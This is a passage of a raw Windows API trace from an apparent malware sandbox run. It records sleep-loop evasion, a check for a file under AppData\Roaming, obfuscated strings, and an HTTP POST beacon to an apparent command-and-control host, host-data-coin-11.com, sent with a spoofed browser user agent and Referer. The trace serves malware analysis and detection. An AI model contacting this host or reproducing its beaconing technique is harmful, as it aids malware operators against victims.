(dwMilliseconds=0x258) [0265.420] Sleep (dwMilliseconds=0x258) [0265.421] Sleep (dwMilliseconds=0x258) [0265.423] Sleep (dwMilliseconds=0x258) [0265.424] Sleep (dwMilliseconds=0x258) [0265.428] Sleep (dwMilliseconds=0x258) [0265.430] Sleep (dwMilliseconds=0x258) [0265.431] Sleep (dwMilliseconds=0x258) [0265.520] Sleep (dwMilliseconds=0x258) [0265.527] Sleep (dwMilliseconds=0x258) [0265.580] Sleep (dwMilliseconds=0x258) [0265.587] Sleep (dwMilliseconds=0x258) [0265.588] Sleep (dwMilliseconds=0x258) [0265.596] Sleep (dwMilliseconds=0x258) [0265.678] Sleep (dwMilliseconds=0x258) [0265.688] Sleep (dwMilliseconds=0x258) [0265.718] Sleep (dwMilliseconds=0x258) [0265.720] Sleep (dwMilliseconds=0x258) [0265.774] Sleep (dwMilliseconds=0x258) [0265.830] Sleep (dwMilliseconds=0x258) [0265.882] Sleep (dwMilliseconds=0x258) [0265.884] Sleep (dwMilliseconds=0x258) [0265.885] Sleep (dwMilliseconds=0x258) [0265.886] Sleep (dwMilliseconds=0x258) [0265.888] Sleep (dwMilliseconds=0x258) [0265.891] Sleep (dwMilliseconds=0x258) [0265.894] Sleep (dwMilliseconds=0x258) [0265.896] Sleep (dwMilliseconds=0x258) [0265.897] Sleep (dwMilliseconds=0x258) [0265.899] Sleep (dwMilliseconds=0x258) [0265.901] Sleep (dwMilliseconds=0x258) [0265.902] Sleep (dwMilliseconds=0x258) [0265.926] Sleep (dwMilliseconds=0x258) [0265.960] Sleep (dwMilliseconds=0x258) [0266.030] Sleep (dwMilliseconds=0x258) [0266.054] Sleep (dwMilliseconds=0x258) [0266.056] Sleep (dwMilliseconds=0x258) [0266.058] Sleep (dwMilliseconds=0x258) [0266.059] Sleep (dwMilliseconds=0x258) [0266.079] Sleep (dwMilliseconds=0x258) [0266.182] Sleep (dwMilliseconds=0x258) [0266.185] Sleep (dwMilliseconds=0x258) [0266.187] Sleep (dwMilliseconds=0x258) [0266.188] Sleep (dwMilliseconds=0x258) [0266.191] Sleep (dwMilliseconds=0x258) [0266.192] Sleep (dwMilliseconds=0x258) [0266.194] Sleep (dwMilliseconds=0x258) [0266.195] Sleep (dwMilliseconds=0x258) [0266.197] Sleep (dwMilliseconds=0x258) [0266.198] Sleep (dwMilliseconds=0x258) [0266.211] Sleep (dwMilliseconds=0x258) [0266.233] Sleep (dwMilliseconds=0x258) [0266.329] Sleep (dwMilliseconds=0x258) [0266.332] Sleep (dwMilliseconds=0x258) [0266.340] Sleep (dwMilliseconds=0x258) [0266.341] Sleep (dwMilliseconds=0x258) [0266.349] Sleep (dwMilliseconds=0x258) [0266.350] Sleep (dwMilliseconds=0x258) [0266.353] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x471840 [0266.353] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x45ad01 [0266.354] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xc1) returned 0x471910 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x944d68f4 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf2a675e1 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x31cfe429 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd2095c07 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x735f2156 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa68537b7 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x36d103a7 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3613b74e [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x97544ef0 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdd881847 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3dbbcded [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x26418056 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x46478eae [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6750857 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x98a9f8c4 [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5e0a9a4f [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3b1a841e [0266.354] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb7d0c0a0 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8779edd3 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xefba08ca [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe2beb541 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd503546 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5dad211b [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xce02bab [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8d3b6985 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x14af131e [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4fca5c1a [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe8bbe9b5 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbb0ff75d [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd15d6eef [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2cb83751 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x68f6db4c [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc3d93d09 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x541dd453 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x48cc11e [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3abd7583 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9fea5abd [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x812f972d [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbd4df59c [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1cec6891 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc29de5d8 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xeae148b2 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4c538734 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x68387163 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe3179efb [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdb4eb392 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd9f8a3c7 [0266.355] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2543e752 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3f32b10a [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5b7dd6c6 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf64f6689 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7f0d3b4 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa165678e [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6ce8fa48 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x703fabeb [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcda7e7b4 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x478c8aac [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe318e8dc [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x46df60fb [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfa3d256c [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x43a423f1 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x64d98e5c [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9e281646 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x160c459b [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xce1ebbbb [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa2509809 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2eab2079 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfefcf893 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9669efc7 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6f06da9c [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe7306b28 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x680fdf34 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x87b7b492 [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc9bdf6ba [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x994ed68a [0266.356] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea4133d3 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x966906ac [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x74866cbd [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9d34b8f3 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa3583456 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfcb891e [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x72631185 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x49975981 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x91ac2b6d [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x205dafa8 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4dc137c5 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea8c476e [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xae598d61 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xadce59ae [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb2d26afd [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xac9fba6a [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x86d0608e [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc337f756 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x28d2a709 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6969ca10 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x59691ebf [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x81fc5e02 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf068cb8d [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x73e0dfc1 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8521a593 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcb413999 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbac4bc4a [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6b08f7bf [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x244064fd [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xec3a9c0d [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4660be8b [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd4752a69 [0266.357] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x988671ce [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xac513470 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbad32109 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcf88708 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6cd23be8 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3b02615f [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd9fcb228 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc6589f1b [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe0ec31fa [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x11bade52 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8faf9d5e [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6bf724ca [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6a5eac7e [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8ca2e569 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xffe280b4 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6719f831 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x79fe8129 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x596b4c7d [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9d4274ca [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb8f739fa [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcd950b5f [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xad1d5c90 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x39e83b97 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x52516cd4 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5ac1850e [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc469a0bf [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x59720aa [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x94ba9162 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaa86ca [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd73bcff2 [0266.358] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x44be82fc [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9d537358 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x83b2230d [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba6b1c38 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x406b3bcb [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe9f22de4 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd4138745 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4723e4c3 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8fcd1327 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x803647b2 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x81f05867 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x31921c82 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x238383d8 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd27e5eb9 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xee777aa0 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x51eb48ee [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x96545e13 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfffef7f3 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8541229d [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1a2e91c0 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4c1e8b9a [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbbb3a73 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf54b3243 [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x433b66af [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85938d8e [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd6797eba [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x519af03c [0266.359] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xabaadeed [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf07b86da [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc079ebbb [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8046ed87 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd273aaf0 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd50c80cd [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaa276d3e [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xac77abbb [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea8bb6e8 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcc4f7c84 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2974469e [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb11817e9 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6f370961 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd21f0885 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa69a73fa [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe51811e1 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcc709d65 [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5001ad0e [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8486f62b [0266.360] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa285b13f [0266.360] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x110) returned 0x4719e0 [0266.360] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0266.360] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0266.360] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0266.360] lstrcatA (in: lpString1="", lpString2="oNl`Mx.C[20#7V?dUGz5nEJ0`a9VnrR]n$7NxUni][HGiAJQY[:'ZY5BXL:^BYEa/-=T=FTkg`d4Q<]r-ZG+yr)X-.&j.Mj$jlh5KR=uLKFW-k7QrW&D(1oXopog(=7Yo+)l" | out: lpString1="ff/LnfV&:7WOE;(KWW;vc+w&*a4BFBc=u9R#!5m+t!]s+8i0eiIc.kOuS$0\"SD2x`E(c)jV7r^].nH27[^Q]6iY50Adr'7Gjk1^Mg0MSAQmr'mXl") returned="ff/LnfV&:7WOE;(KWW;vc+w&*a4BFBc=u9R#!5m+t!]s+8i0eiIc.kOuS$0\"SD2x`E(c)jV7r^].nH27[^Q]6iY50Adr'7Gjk1^Mg0MSAQmr'mXl" [0291.120] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471bc0 [0291.120] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0291.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471bc0, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0291.121] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0291.270] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8626920 [0291.272] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0291.272] WinHttpConnect (hSession=0x8626920, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86ca9d0 [0291.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x4707e0 [0291.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x471ce0 [0291.272] WinHttpOpenRequest (hConnect=0x86ca9d0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x833a860 [0291.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471d50 [0291.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471db0 [0291.272] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8ed9b29f [0291.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x470800 [0291.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471ed0 [0291.272] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbf1a5e27 [0291.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc39280b [0291.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf3aedc1b [0291.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3af5cd70 [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7d3e76cd [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5944cc35 [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcb4f906c [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbb8a6afa [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3c2beecd [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9b436526 [0291.302] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x65c29cf8 [0291.303] wsprintfW (in: param_1=0x471db0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://uypuyovqlj.com/") returned 44 [0291.303] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471ed0) returned 0x17 [0291.303] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471ed0) returned 1 [0291.303] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470800) returned 0x12 [0291.303] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470800) returned 1 [0291.303] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d50) returned 0x4e [0291.303] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d50) returned 1 [0291.304] WinHttpAddRequestHeaders (hRequest=0x833a860, pwszHeaders="Accept: */*\r\nReferer: http://uypuyovqlj.com/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0291.304] WinHttpSendRequest (hRequest=0x833a860, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x471a40*, dwOptionalLength=0x160, dwTotalLength=0x160, dwContext=0x0) returned 1 [0292.562] WinHttpReceiveResponse (hRequest=0x833a860, lpReserved=0x0) returned 1 [0292.562] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x475df0 [0292.562] WinHttpReadData (in: hRequest=0x833a860, lpBuffer=0x475df0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x475df0*, lpdwNumberOfBytesRead=0xfd4fd88*=0x18) returned 1 [0292.564] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x475df0, Size=0x5000) returned 0x475df0 [0292.564] WinHttpReadData (in: hRequest=0x833a860, lpBuffer=0x475e08, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x475e08*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0292.565] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x6d0000 [0292.567] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x475df0) returned 1 [0292.569] WinHttpCloseHandle (hInternet=0x833a860) returned 1 [0292.569] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471db0) returned 0x10d [0292.570] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471db0) returned 1 [0292.571] WinHttpCloseHandle (hInternet=0x86ca9d0) returned 1 